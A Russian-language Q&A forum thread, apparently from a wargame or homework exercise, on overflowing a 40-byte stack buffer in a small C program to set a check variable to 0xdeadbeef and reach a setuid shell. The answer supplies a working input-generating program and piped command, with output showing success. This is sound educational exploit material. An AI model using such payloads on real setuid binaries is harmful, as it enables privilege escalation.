Застрял в проблеме взлома в C (переполнение буфера стека) - PullRequest
0 голосов
/ 08 января 2020

Я пытаюсь переполнить этот буфер. Я запустил это так: команда здесь, но значение не является правильным. Я пробовал различные входные данные, с которыми я фактически переопределял буфер, но вместо ожидаемого значения контрольной переменной 0xdeadbeef значение было примерно таким: 0x73737373. Что я должен ввести, чтобы значение check было 0xdeadbeef?

Вот код:

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef)) //I'm only able to achieve this
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef) //this is the value I want to have
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

Я получаю программу, чтобы изменить значение чека, но не могу его получить изменить на 0xdeadbeef.

Вот дамп сборки:

   0x08048546 <+0>:     lea    0x4(%esp),%ecx
   0x0804854a <+4>:     and    $0xfffffff0,%esp
   0x0804854d <+7>:     pushl  -0x4(%ecx)
   0x08048550 <+10>:    push   %ebp
   0x08048551 <+11>:    mov    %esp,%ebp
   0x08048553 <+13>:    push   %esi
   0x08048554 <+14>:    push   %ebx
   0x08048555 <+15>:    push   %ecx
   0x08048556 <+16>:    sub    $0x3c,%esp
   0x08048559 <+19>:    call   0x8048480 <__x86.get_pc_thunk.bx>
   0x0804855e <+24>:    add    $0x1aa2,%ebx
   0x08048564 <+30>:    movl   $0x4030201,-0x1c(%ebp)
   0x0804856b <+37>:    mov    -0x4(%ebx),%eax
   0x08048571 <+43>:    mov    (%eax),%eax
   0x08048573 <+45>:    sub    $0x4,%esp
   0x08048576 <+48>:    push   %eax
   0x08048577 <+49>:    push   $0x2d
   0x08048579 <+51>:    lea    -0x44(%ebp),%eax
   0x0804857c <+54>:    push   %eax
   0x0804857d <+55>:    call   0x80483c0 <fgets@plt>
   0x08048582 <+60>:    add    $0x10,%esp
   0x08048585 <+63>:    sub    $0x8,%esp

Если кто-нибудь из вас может помочь мне с этим, я буду рад!

1 Ответ

2 голосов
/ 09 января 2020

Хитрость заключается в том, чтобы создать правильный ввод для программы.
Это трудно или невозможно сделать, просто набрав текст с клавиатуры.
Вы можете обратиться к таблице ASCII и некоторым приемам для ввода непечатных символов. .

Но проще всего сделать программу, которая будет правильно выводить данные, и направить ее в программу для мошенничества.

В зависимости от порядкового номера, либо этот код, либо код с переупорядоченными последними четырьмя символами (не считая перевода строки) должно помочь.

#include <stdio.h>

int main()
{ printf("1234567890123456789012345678901234567890\xef\xbe\xad\xde\n"); /* works for me */
  /* or \xde\xad\xbe\xef */
  return 0;
}

Обратите внимание, что «\ xnn» - это синтаксис для явной передачи шестнадцатеричного значения символа (в строке) для вывода.

Скомпилируйте его в выдающийся «вывод» и используйте его для подачи необходимого вывода в «целевой» исполняемый файл, например,

output | target

вывод (убрал открытую часть оболочки):

[buf]: 1234567890123456789012345678901234567890´¥¡Ì
[check] deadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.

Заметьте, я сделал это на Windows, но я надеюсь, что "транспонировал" его достаточно хорошо в Nix.
Если вы вынуждены использовать предоставленную оболочку и не можете выполнять самостоятельно написанные программы (вероятно, t он указывает), вам нужно изучить свои варианты, чтобы получить этот вывод в программу для мошенничества. Использование некоторых настроенных echo может помочь. Или, в конце концов, вам, в конце концов, придется делать ввод непечатаемой информации ASCII.
Не зная больше о доступной среде, я не могу окончательно решить проблему.

Вам придется экспериментировать и исследовать. Это, кстати, то, почему мне удобно помогать вам с вашим заданием так же, как я делал выше, потому что вы все равно должны делать то, что я считаю основой этого самостоятельно. По моему мнению, это соответствует принятому компромиссу для помощи с домашними заданиями / заданиями, как описано здесь:
Как мне задавать и отвечать на домашние вопросы?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...